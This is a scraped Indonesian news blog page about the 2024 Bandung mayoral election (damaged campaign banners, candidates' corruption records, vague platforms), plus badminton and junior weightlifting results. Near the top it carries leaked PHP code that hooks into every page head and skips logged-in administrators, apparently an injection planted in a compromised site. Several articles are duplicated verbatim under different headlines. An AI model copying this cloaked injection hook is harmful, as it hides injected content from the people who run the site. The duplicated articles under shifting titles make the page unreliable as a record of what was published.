Blog
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);-
Partisipasi Pemilih Diutamakan, Meski Baliho Arfi-Yena Dirusak
BANDUNG, VISTA NUSANTARA — Sejumlah alat peraga kampanye (APK) pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi-Yena Iskandar Ma’soem dirusak. Naradamping atau liaison officer (LO) pasangan Arfi-Yena, Cucu Sukmana sangat menyayangkan perbuatan tersebut. Pihaknya mengajak kepada pelaku perusakan untuk saling menghormati, termasuk di tengah tahapan kampanye pemilihan kepala daerah.Berdasarkan hasil monitoring lapangan, serta laporan masyarakat -termasuk relawan- dalam dua pekan ini, banyak baliho, serta T banner paslon Arfi-Yena yang disobek. Selain itu, sejumlah banner dan spanduk hilang.“Tidak kurang dari 20 baliho yang disobek. Banyak juga T banner yang disobek, atau dipatahkan bambunya. Belum lagi spanduk dan banner hilang beberapa hari setelah pemasangan. Kami mencatat, titik baliho, spanduk, banner, atribut lain yang rusak maupun hilang. Dokumentasinya juga ada (disimpan),” tutur Cucu, Jumat (25/10/2024).Baliho paslon nomor 4 yang dirusak, di antaranya di dekat gerbang kompleks Cempaka Arum, Gedebage. Kompleks itu merupakan kediaman Cucu. Sejauh pengalamannya sebagai pelaku politik, Cucu mengatakan, baru kali ini melihat perusakan alat peraga kampanye paslon Wali Kota dan Wakil Wali Kota Bandung di area setempat.Mengedepankan upaya persuasif, pihaknya belum melaporkan perbuatan itu ke Bawaslu Kota Bandung. Menurut aturan, berlaku sanski pidana bagi yang merusak atau menghilangkan alat peraga kampanya.“Seusai arahan Kang Arfi dan Teh Yena, tak mesti langsung lapor, melainkan lebih dahulu menyampaikan imbauan dan menjalin komunikasi. Apalagi, kami tak menghendaki untuk mencari-cari kesalahan orang lain.Cucu turut menyampaikan, komunikasi dan koordinasi dengan LO paslon lain di Pilkada Kota Bandung terus berjalan baik. Berdasarkan informasi dari tiap-tiap LO, sejumlah APK paslon lain pun dirusak.Cucu menyebutkan, salah satu tujuan pemasangan baliho, spanduk, banner, maupun atribut lainnya, yakni meningkatkan partisipasi pemilih pada pilkada. Harapannya, tingkat partisipasi pemilih pada Pemilihan Wali Kota Bandung 2024 lebih tinggi ketimbang 2018.“Angka partisipasi pemilih pada (pilwalkot) 2018, sekitar 76%. Kami berharap, partisipasi pemilih pada pilwalkot 2024, paling tidak 85%. Mari, sama-sama saling menghargai dan menghormati masa kampanye, bagian dari tahapan pilkada. Pesan yang tertera dalam spanduk, baliho, banner perlu sampai ke masyarakat,” ucap Cucu.Cucu optimistis, situasi demokrasi di Kota Bandung tetap indah, damai, riang gembira saat seluruh pihak saling menjaga dan menghormati. Dengan demikian, proses untuk mencari pemimpin lebih baik untuk Kota Bandung ke depan berjalan kondusif dan lancar.Beriringan dengan hal itu, Cucu memohon kepada pengurus RT dan RW, lurah, camat, kepolisian, panwaslu tingkat kelurahan dan kecamatan agar ikut memerhartikan serta memonitor keutuhan APK. Hal itu dalam rangka mencegah kejadian serupa terulang di kemudian hari.Pada kesempatan terpisah, juru bicara paslon Arfi-Yena, Reza Arfah pun menyayangkan tindakan perusakan APK. Perbuatan itu turut mencederai semangat demokrasi, bukan hanya merugikan paslon Arfi-Yena beserta tim.“Kami percaya, bahwa setiap calon berhak untuk berkampanye dengan cara yang positif dan damai. Tindakan seperti itu tidak membantu proses demokrasi yang sehat. Bersamaan dengan hal itu, kami ingin menekankan komitmen untuk menjalankan kampanye yang bersih dan saling menghormati. Kami menghargai setiap suara dan pendapat masyarakat,” ucap Reza.Atas nama paslon Arfi-Yena, Reza mengajak para pendukung agar tetap positif dan tidak terpengaruh oleh tindakan negatif. Pendukung perlu tetap fokus pada visi perubahan yang menjadi harapan bersama.“Kami berharap, masyarakat Kota Bandung dapat tetap bersatu dan mendukung proses demokrasi yang konstruktif. Setiap dukungan dan partisipasi sangat berarti bagi kami. Kita (elemen masyarakat Kota Bandung) ingin yang terbaik untuk Kota Bandung. Mari menjaga komunikasi yang baik dan saling menghormati. Hal itu yang akan membawa kita (Kota Bandung) ke arah yang lebih baik,” tutur Reza.*** -
Baliho dan Spanduk Arfi-Yena Hilang, Tim Tetap Kedepankan Persuasif
BANDUNG, VISTA NUSANTARA — Sejumlah alat peraga kampanye (APK) pasangan calon Wali Kota dan Wakil Wali Kota Bandung nomor urut 4, Arfi Rafnialdi-Yena Iskandar Ma’soem dirusak. Naradamping atau liaison officer (LO) pasangan Arfi-Yena, Cucu Sukmana sangat menyayangkan perbuatan tersebut. Pihaknya mengajak kepada pelaku perusakan untuk saling menghormati, termasuk di tengah tahapan kampanye pemilihan kepala daerah.Berdasarkan hasil monitoring lapangan, serta laporan masyarakat -termasuk relawan- dalam dua pekan ini, banyak baliho, serta T banner paslon Arfi-Yena yang disobek. Selain itu, sejumlah banner dan spanduk hilang.“Tidak kurang dari 20 baliho yang disobek. Banyak juga T banner yang disobek, atau dipatahkan bambunya. Belum lagi spanduk dan banner hilang beberapa hari setelah pemasangan. Kami mencatat, titik baliho, spanduk, banner, atribut lain yang rusak maupun hilang. Dokumentasinya juga ada (disimpan),” tutur Cucu, Jumat (25/10/2024).Baliho paslon nomor 4 yang dirusak, di antaranya di dekat gerbang kompleks Cempaka Arum, Gedebage. Kompleks itu merupakan kediaman Cucu. Sejauh pengalamannya sebagai pelaku politik, Cucu mengatakan, baru kali ini melihat perusakan alat peraga kampanye paslon Wali Kota dan Wakil Wali Kota Bandung di area setempat.Mengedepankan upaya persuasif, pihaknya belum melaporkan perbuatan itu ke Bawaslu Kota Bandung. Menurut aturan, berlaku sanski pidana bagi yang merusak atau menghilangkan alat peraga kampanya.“Seusai arahan Kang Arfi dan Teh Yena, tak mesti langsung lapor, melainkan lebih dahulu menyampaikan imbauan dan menjalin komunikasi. Apalagi, kami tak menghendaki untuk mencari-cari kesalahan orang lain.Cucu turut menyampaikan, komunikasi dan koordinasi dengan LO paslon lain di Pilkada Kota Bandung terus berjalan baik. Berdasarkan informasi dari tiap-tiap LO, sejumlah APK paslon lain pun dirusak.Cucu menyebutkan, salah satu tujuan pemasangan baliho, spanduk, banner, maupun atribut lainnya, yakni meningkatkan partisipasi pemilih pada pilkada. Harapannya, tingkat partisipasi pemilih pada Pemilihan Wali Kota Bandung 2024 lebih tinggi ketimbang 2018.“Angka partisipasi pemilih pada (pilwalkot) 2018, sekitar 76%. Kami berharap, partisipasi pemilih pada pilwalkot 2024, paling tidak 85%. Mari, sama-sama saling menghargai dan menghormati masa kampanye, bagian dari tahapan pilkada. Pesan yang tertera dalam spanduk, baliho, banner perlu sampai ke masyarakat,” ucap Cucu.Cucu optimistis, situasi demokrasi di Kota Bandung tetap indah, damai, riang gembira saat seluruh pihak saling menjaga dan menghormati. Dengan demikian, proses untuk mencari pemimpin lebih baik untuk Kota Bandung ke depan berjalan kondusif dan lancar.Beriringan dengan hal itu, Cucu memohon kepada pengurus RT dan RW, lurah, camat, kepolisian, panwaslu tingkat kelurahan dan kecamatan agar ikut memerhartikan serta memonitor keutuhan APK. Hal itu dalam rangka mencegah kejadian serupa terulang di kemudian hari.Pada kesempatan terpisah, juru bicara paslon Arfi-Yena, Reza Arfah pun menyayangkan tindakan perusakan APK. Perbuatan itu turut mencederai semangat demokrasi, bukan hanya merugikan paslon Arfi-Yena beserta tim.“Kami percaya, bahwa setiap calon berhak untuk berkampanye dengan cara yang positif dan damai. Tindakan seperti itu tidak membantu proses demokrasi yang sehat. Bersamaan dengan hal itu, kami ingin menekankan komitmen untuk menjalankan kampanye yang bersih dan saling menghormati. Kami menghargai setiap suara dan pendapat masyarakat,” ucap Reza.Atas nama paslon Arfi-Yena, Reza mengajak para pendukung agar tetap positif dan tidak terpengaruh oleh tindakan negatif. Pendukung perlu tetap fokus pada visi perubahan yang menjadi harapan bersama.“Kami berharap, masyarakat Kota Bandung dapat tetap bersatu dan mendukung proses demokrasi yang konstruktif. Setiap dukungan dan partisipasi sangat berarti bagi kami. Kita (elemen masyarakat Kota Bandung) ingin yang terbaik untuk Kota Bandung. Mari menjaga komunikasi yang baik dan saling menghormati. Hal itu yang akan membawa kita (Kota Bandung) ke arah yang lebih baik,” tutur Reza.*** -
Kritik Publik, Pemimpin Bandung Harus Berintegritas
BANDUNG, VISTA NUSANTARA — Menjelang Pilkada Kota Bandung 2024, kekhawatiran publik mulai muncul terkait rekam jejak para bakal calon yang akan berlaga dalam pemilihan tersebut. Sejumlah elemen masyarakat merasa perlu mewaspadai latar belakang para kandidat yang diduga pernah terlibat kasus hukum.Terdapat empat pasangan calon yang telah resmi mendaftar di Komisi Pemilihan Umum (KPU) Kota Bandung. Pasangan calon tersebut adalah Farhan – Erwin (NasDem – PKB), Dandan Riza Wardana – Arif Wijaya (PDIP – Demokrat), Haru Suandharu – Dhani Wiranata (PKS – Gerindra), dan Arfi Rafnialdi – Yena Iskandar (Golkar – PSI).
Forum Masyarakat Peduli Kota Bandung, melalui perwakilannya, Zaka, mengungkapkan adanya kekhawatiran mengenai track record beberapa kandidat yang dianggap memiliki catatan hukum.
“Kami melihat sejumlah nama yang mendaftarkan diri untuk maju di Pilwalkot Bandung ternyata memiliki track record yang kurang baik dalam arti tersandung kasus hukum sebelumnya,” ujar Zaka.
Zaka menyoroti dua nama yang dianggap bermasalah, yakni Haru Suandharu dari PKS yang pernah terlibat kasus korupsi RTH Kota Bandung, dan Dandan Riza Wardana dari PDIP yang pernah divonis bersalah dalam kasus korupsi pada tahun 2017.
“Kendati keduanya diperbolehkan oleh undang-undang, kami berharap masyarakat Kota Bandung bisa lebih cermat dalam memilih nanti,” tambah Zaka.
Di samping isu hukum, Zaka juga menyoroti tantangan besar yang menanti pemimpin Kota Bandung. Persoalan seperti lapangan pekerjaan, harga kebutuhan pokok, kemacetan, kebersihan lingkungan, hingga konektivitas transportasi publik menjadi pekerjaan rumah yang perlu mendapat perhatian serius dari calon pemimpin yang memiliki integritas tinggi.
“Persoalan ini harus segera diselesaikan pemimpin yang memiliki integritas tinggi, bukan justru harus kembali terjerat kasus hukum ke depannya,” tutup Zaka.
Pilkada Kota Bandung 2024 menjadi momen penting bagi masyarakat untuk memilih pemimpin yang mampu menyelesaikan berbagai persoalan kota. Kekhawatiran yang disampaikan Forum Masyarakat Peduli Kota Bandung menjadi salah satu bentuk kepedulian publik terhadap integritas dan kompetensi calon pemimpin masa depan Kota Bandung.
Selanjutnya kritikan datang dari salah satu mahasiswi di salah satu kampus swasta di Bandung ia mengatakan bahwa pasangan haru dhani tidak memberikan solusi yang kongkret untuk masyarakat kota Bandung.
“Mereka menggarris bawahi pada isu contoh nya seperti kemacetan dan pengelolaan sampah dan kemacetan nah dari hal tersebut seharusnya ada solusi yang kongkret dan tidak ngawang dan harus nya lebih memperhatikan tata kelola kota bandung.” ucap Sasa.***
-
Rekam Jejak Kandidat Pilkada Bandung Jadi Sorotan
BANDUNG, VISTA NUSANTARA — Menjelang Pilkada Kota Bandung 2024, kekhawatiran publik mulai muncul terkait rekam jejak para bakal calon yang akan berlaga dalam pemilihan tersebut. Sejumlah elemen masyarakat merasa perlu mewaspadai latar belakang para kandidat yang diduga pernah terlibat kasus hukum.Terdapat empat pasangan calon yang telah resmi mendaftar di Komisi Pemilihan Umum (KPU) Kota Bandung. Pasangan calon tersebut adalah Farhan – Erwin (NasDem – PKB), Dandan Riza Wardana – Arif Wijaya (PDIP – Demokrat), Haru Suandharu – Dhani Wiranata (PKS – Gerindra), dan Arfi Rafnialdi – Yena Iskandar (Golkar – PSI).
Forum Masyarakat Peduli Kota Bandung, melalui perwakilannya, Zaka, mengungkapkan adanya kekhawatiran mengenai track record beberapa kandidat yang dianggap memiliki catatan hukum.
“Kami melihat sejumlah nama yang mendaftarkan diri untuk maju di Pilwalkot Bandung ternyata memiliki track record yang kurang baik dalam arti tersandung kasus hukum sebelumnya,” ujar Zaka.
Zaka menyoroti dua nama yang dianggap bermasalah, yakni Haru Suandharu dari PKS yang pernah terlibat kasus korupsi RTH Kota Bandung, dan Dandan Riza Wardana dari PDIP yang pernah divonis bersalah dalam kasus korupsi pada tahun 2017.
“Kendati keduanya diperbolehkan oleh undang-undang, kami berharap masyarakat Kota Bandung bisa lebih cermat dalam memilih nanti,” tambah Zaka.
Di samping isu hukum, Zaka juga menyoroti tantangan besar yang menanti pemimpin Kota Bandung. Persoalan seperti lapangan pekerjaan, harga kebutuhan pokok, kemacetan, kebersihan lingkungan, hingga konektivitas transportasi publik menjadi pekerjaan rumah yang perlu mendapat perhatian serius dari calon pemimpin yang memiliki integritas tinggi.
“Persoalan ini harus segera diselesaikan pemimpin yang memiliki integritas tinggi, bukan justru harus kembali terjerat kasus hukum ke depannya,” tutup Zaka.
Pilkada Kota Bandung 2024 menjadi momen penting bagi masyarakat untuk memilih pemimpin yang mampu menyelesaikan berbagai persoalan kota. Kekhawatiran yang disampaikan Forum Masyarakat Peduli Kota Bandung menjadi salah satu bentuk kepedulian publik terhadap integritas dan kompetensi calon pemimpin masa depan Kota Bandung.
Selanjutnya kritikan datang dari salah satu mahasiswi di salah satu kampus swasta di Bandung ia mengatakan bahwa pasangan haru dhani tidak memberikan solusi yang kongkret untuk masyarakat kota Bandung.
“Mereka menggarris bawahi pada isu contoh nya seperti kemacetan dan pengelolaan sampah dan kemacetan nah dari hal tersebut seharusnya ada solusi yang kongkret dan tidak ngawang dan harus nya lebih memperhatikan tata kelola kota bandung.” ucap Sasa.***
-
Yeremia/Rahmat Lolos ke Semifinal Indonesia International Challenge 2024
VISTA NUSANTARA — Ganda putra Indonesia Yeremia Erich Yoche Yacob Rambitan/Rahmat Hidayat lolos ke semifinal Indonesia International Challenge 2024 di Surabaya.Berlaga di Jatim Expo, Surabaya, Jumat, ganda putra peringkat 57 dunia itu mengalahkan rekan senegara Daniel Edgar Marvino/Christopher David Wijaya dengan 20-22, 21-17, 21-19 pada perempatfinal.Yere/Rahmat bermain hati-hati sehingga permainan mereka tidak maksimal sampai tertinggal pada gim pertama.Setelah bermain lebih menekan, Yere/Rahmat akhirnya memastikan tiket empat besar.“Kami mencoba mencari momentum di gim kedua untuk bisa kembali unggul. Saat sudah nyaman dalam bermain kami mencoba untuk mempertahankan permainan terbaik kami,” kata Yeremia dalam keterangan resmi PP PBSI.Sebagai pasangan lebih senior, Yere/Rahmat mengaku terbebani karena harus menunjukkan permainan terbaik dalam setiap babak.“Dalam beberapa kesempatan kami bermain lebih hati-hati sehingga banyak kehilangan momentum untuk raih kemenangan. Hal tersebut tidak boleh terjadi karena pasti lawan ingin mengalahkan kami sehingga kami harus bisa mengontrol hal itu untuk meraih kemenangan,” kata Rahmat.Yere/Rahmat siap menantang wakil Taiwan Zhi-Wei He/Huang Jui-Hsuan yang mengalahkan rekan senegaranya, Bo-Yuan Chen/Lin Shang Kai, dengan 21-19, 22-20.Sementara itu, langkah Raymond Indra/Patra Harapan Rindorindo terhenti setelah menyerah di tangan pasangan Taiwan Chiang Chien-Wei/Wei Chun Wei dengan 21-16, 8-21, 19-21.*** -
Jawa Barat Dominasi Kejurnas Angkat Besi Junior 2024 dengan 12 Emas
VISTA NUSANTARA — Provinsi Jawa Barat mengamankan gelar juara umum Kejuaraan Nasional (Kejurnas) Angkat Besi Junior 2024 yang berlangsung sejak 22 hingga 24 Oktober di Hotel Santika Premiere Gubeng, Surabaya.PB PABSI menyatakan pada Jumat bahwa Kontingen Jabar meraih gelar juara umum dengan mengemas total 17 medali yakni 12 emas, tiga perak dan dua perunggu.Jabar berhasil mengungguli kontingen tuan rumah Jawa Timur yang berada di posisi runner-up dengan total medali 18 yaitu enam emas, empat perak dan delapan perunggu. Sementara di peringkat ketiga disegel oleh Jambi yang mendapatkan total sembilan medali yakni enam emas dan tiga perunggu.Pelatih angkat besi Jabar Sodikin mengatakan jika capaian 12 emas itu sudah sesuai dengan target yang telah ditetapkan dan kalkulasi jelang kejuaraan.“Memang sudah kami perhitungkan, sudah kami seleksi dari data atlet yang kira-kira meraih prestasi nasional, kalau juara umum kami cukup yakin. Dan jumlah emas itu juga sangat tepat sesuai perkiraan kami,” tutur Sodikin.12 emas Jabar tersebut disumbangkan oleh empat atlet yakni Tita Nurcahya di kelas 45 kg putri, lalu Davin Athallah di kelas 73 kg putra, kemudian Raihan Adestya di kelas 81 kg putra dan terakhir Joko Suprianto yang tampil di kelas +81 kg putra.Masing-masing atlet tersebut meraih tiga emas setelah unggul di catatan snatch, clean and jerk serta total angkatan.Sementara itu enam medali emas Jatim disumbang oleh dua atlet yakni Luluk Diana Tri Wijayana di kelas 49 kg putri dan Lavena Putri Angelita kelas 59 kg putri. Lalu, enam emas Jambi juga diperoleh dari dua orang atlet yaith Muhammad Ibnul Rizqi mendapat tiga emas di kelas 61 kg putra sedangkan Yolanda Dwi Ambarwati juga meraih hasil yang sama di kelas +64 kg putri.Adapun dua lifter berhasil mendapatkan penghargaan individu Kejurnas Angkat Besi Junior 2024. Luluk Diana terpilih sebagai lifter terbaik putri sedangkan atlet Lampung Muhammad Husni memperoleh penghargaan lifter terbaik putra.Baik Luluk maupun Husni sama-sama meraih emas dengan keunggulan cukup jauh. Luluk memperoleh angkatan total 186 kg. Mengungguli atlet Kalimantan Barat Dhea Anisa Nabila dengan angkatan total 142 kg.Sedangkan Husni yang tampil di kelas 55 kg putra berhasil mencatatkan angkatan total 261 kg. Dia unggul hingga 62 kg dari atlet Kalimantan Timur Natanael Febrian Gurning yang berada di urutan kedua.*** -
Rekam Jejak Kontroversial, Dandan Maju Lagi di Pilkada Bandung 2024
BANDUNG, VISTA NUSANTARA — Menjelang Pemilihan Walikota Bandung 2024, para calon pemimpin menghadapi berbagai tantangan dalam menyampaikan visi dan misi mereka. Isu-isu krusial seperti kemacetan dan pengolahan sampah menjadi sorotan utama masyarakat, terutama karena masalah ini belum teratasi dengan baik selama bertahun-tahun.Pasangan calon Farhan dan Erwin dinilai oleh masyarakat belum mampu menjelaskan visi dan misi mereka secara jelas, terutama pada aspek teknis. Ketidakjelasan ini menyebabkan kebingungan dan kurangnya pemahaman di kalangan warga Bandung, yang berharap pada pemimpin yang dapat memberikan solusi konkret terhadap berbagai permasalahan kota. Masyarakat menginginkan visi dan misi yang lebih terperinci dan realistis, serta mencerminkan komitmen untuk membawa perubahan positif bagi Kota Bandung.Sementara itu, pasangan Dandan dan Arif juga menghadapi kritik dari masyarakat. Hingga saat ini, mereka dinilai belum menyampaikan visi dan misi secara jelas, yang menambah keraguan di kalangan warga. Selain itu, rekam jejak Dandan yang pernah tersandung kasus operasi tangkap tangan (OTT) di masa lalu menjadi sorotan tajam, merusak kredibilitasnya di mata publik. Isu ini membuat sebagian besar warga meragukan apakah Dandan adalah sosok yang tepat untuk memimpin Kota Bandung, mengingat pentingnya integritas dalam kepemimpinan.Cinta, seorang mahasiswi dari salah satu universitas swasta di Bandung, menyuarakan pendapatnya. “Masyarakat Kota Bandung seharusnya semakin pintar dan dapat memilih pemimpin yang bersih dan teruji kejujurannya,” ujarnya. Ia berharap, pemimpin terpilih nanti dapat lebih mengayomi masyarakat dan memiliki program kerja yang efektif.Dengan demikian, harapan besar diletakkan di pundak para calon pemimpin. Masyarakat Bandung mendambakan sosok yang mampu membawa perubahan, dengan integritas dan komitmen yang jelas untuk kemajuan kota tercinta ini.*** -
Kandidat Pilwalkot Bandung Dianggap Gagal Jawab Masalah Kota
BANDUNG, VISTA NUSANTARA — Menjelang Pemilihan Walikota Bandung 2024, para calon pemimpin menghadapi berbagai tantangan dalam menyampaikan visi dan misi mereka. Isu-isu krusial seperti kemacetan dan pengolahan sampah menjadi sorotan utama masyarakat, terutama karena masalah ini belum teratasi dengan baik selama bertahun-tahun.Pasangan calon Farhan dan Erwin dinilai oleh masyarakat belum mampu menjelaskan visi dan misi mereka secara jelas, terutama pada aspek teknis. Ketidakjelasan ini menyebabkan kebingungan dan kurangnya pemahaman di kalangan warga Bandung, yang berharap pada pemimpin yang dapat memberikan solusi konkret terhadap berbagai permasalahan kota. Masyarakat menginginkan visi dan misi yang lebih terperinci dan realistis, serta mencerminkan komitmen untuk membawa perubahan positif bagi Kota Bandung.Sementara itu, pasangan Dandan dan Arif juga menghadapi kritik dari masyarakat. Hingga saat ini, mereka dinilai belum menyampaikan visi dan misi secara jelas, yang menambah keraguan di kalangan warga. Selain itu, rekam jejak Dandan yang pernah tersandung kasus operasi tangkap tangan (OTT) di masa lalu menjadi sorotan tajam, merusak kredibilitasnya di mata publik. Isu ini membuat sebagian besar warga meragukan apakah Dandan adalah sosok yang tepat untuk memimpin Kota Bandung, mengingat pentingnya integritas dalam kepemimpinan.Cinta, seorang mahasiswi dari salah satu universitas swasta di Bandung, menyuarakan pendapatnya. “Masyarakat Kota Bandung seharusnya semakin pintar dan dapat memilih pemimpin yang bersih dan teruji kejujurannya,” ujarnya. Ia berharap, pemimpin terpilih nanti dapat lebih mengayomi masyarakat dan memiliki program kerja yang efektif.Dengan demikian, harapan besar diletakkan di pundak para calon pemimpin. Masyarakat Bandung mendambakan sosok yang mampu membawa perubahan, dengan integritas dan komitmen yang jelas untuk kemajuan kota tercinta ini.*** -
Kritik Mahasiswa, Visi Misi Paslon Pilwalkot Bandung Terlalu Kabur
BANDUNG, VISTA NUSANTARA — Menjelang Pemilihan Walikota Bandung 2024, para calon pemimpin menghadapi berbagai tantangan dalam menyampaikan visi dan misi mereka. Isu-isu krusial seperti kemacetan dan pengolahan sampah menjadi sorotan utama masyarakat, terutama karena masalah ini belum teratasi dengan baik selama bertahun-tahun.Pasangan calon Farhan dan Erwin dinilai oleh masyarakat belum mampu menjelaskan visi dan misi mereka secara jelas, terutama pada aspek teknis. Ketidakjelasan ini menyebabkan kebingungan dan kurangnya pemahaman di kalangan warga Bandung, yang berharap pada pemimpin yang dapat memberikan solusi konkret terhadap berbagai permasalahan kota. Masyarakat menginginkan visi dan misi yang lebih terperinci dan realistis, serta mencerminkan komitmen untuk membawa perubahan positif bagi Kota Bandung.Sementara itu, pasangan Dandan dan Arif juga menghadapi kritik dari masyarakat. Hingga saat ini, mereka dinilai belum menyampaikan visi dan misi secara jelas, yang menambah keraguan di kalangan warga. Selain itu, rekam jejak Dandan yang pernah tersandung kasus operasi tangkap tangan (OTT) di masa lalu menjadi sorotan tajam, merusak kredibilitasnya di mata publik. Isu ini membuat sebagian besar warga meragukan apakah Dandan adalah sosok yang tepat untuk memimpin Kota Bandung, mengingat pentingnya integritas dalam kepemimpinan.Cinta, seorang mahasiswi dari salah satu universitas swasta di Bandung, menyuarakan pendapatnya. “Masyarakat Kota Bandung seharusnya semakin pintar dan dapat memilih pemimpin yang bersih dan teruji kejujurannya,” ujarnya. Ia berharap, pemimpin terpilih nanti dapat lebih mengayomi masyarakat dan memiliki program kerja yang efektif.Dengan demikian, harapan besar diletakkan di pundak para calon pemimpin. Masyarakat Bandung mendambakan sosok yang mampu membawa perubahan, dengan integritas dan komitmen yang jelas untuk kemajuan kota tercinta ini.*** -
Harapan Warga Bandung, Pemimpin Bersih dan Solusi Konkret
BANDUNG, VISTA NUSANTARA — Menjelang Pemilihan Walikota Bandung 2024, para calon pemimpin menghadapi berbagai tantangan dalam menyampaikan visi dan misi mereka. Isu-isu krusial seperti kemacetan dan pengolahan sampah menjadi sorotan utama masyarakat, terutama karena masalah ini belum teratasi dengan baik selama bertahun-tahun.Pasangan calon Farhan dan Erwin dinilai oleh masyarakat belum mampu menjelaskan visi dan misi mereka secara jelas, terutama pada aspek teknis. Ketidakjelasan ini menyebabkan kebingungan dan kurangnya pemahaman di kalangan warga Bandung, yang berharap pada pemimpin yang dapat memberikan solusi konkret terhadap berbagai permasalahan kota. Masyarakat menginginkan visi dan misi yang lebih terperinci dan realistis, serta mencerminkan komitmen untuk membawa perubahan positif bagi Kota Bandung.Sementara itu, pasangan Dandan dan Arif juga menghadapi kritik dari masyarakat. Hingga saat ini, mereka dinilai belum menyampaikan visi dan misi secara jelas, yang menambah keraguan di kalangan warga. Selain itu, rekam jejak Dandan yang pernah tersandung kasus operasi tangkap tangan (OTT) di masa lalu menjadi sorotan tajam, merusak kredibilitasnya di mata publik. Isu ini membuat sebagian besar warga meragukan apakah Dandan adalah sosok yang tepat untuk memimpin Kota Bandung, mengingat pentingnya integritas dalam kepemimpinan.Cinta, seorang mahasiswi dari salah satu universitas swasta di Bandung, menyuarakan pendapatnya. “Masyarakat Kota Bandung seharusnya semakin pintar dan dapat memilih pemimpin yang bersih dan teruji kejujurannya,” ujarnya. Ia berharap, pemimpin terpilih nanti dapat lebih mengayomi masyarakat dan memiliki program kerja yang efektif.Dengan demikian, harapan besar diletakkan di pundak para calon pemimpin. Masyarakat Bandung mendambakan sosok yang mampu membawa perubahan, dengan integritas dan komitmen yang jelas untuk kemajuan kota tercinta ini.***


.jpeg)



.jpeg)
.jpeg)
.jpeg)
.jpeg)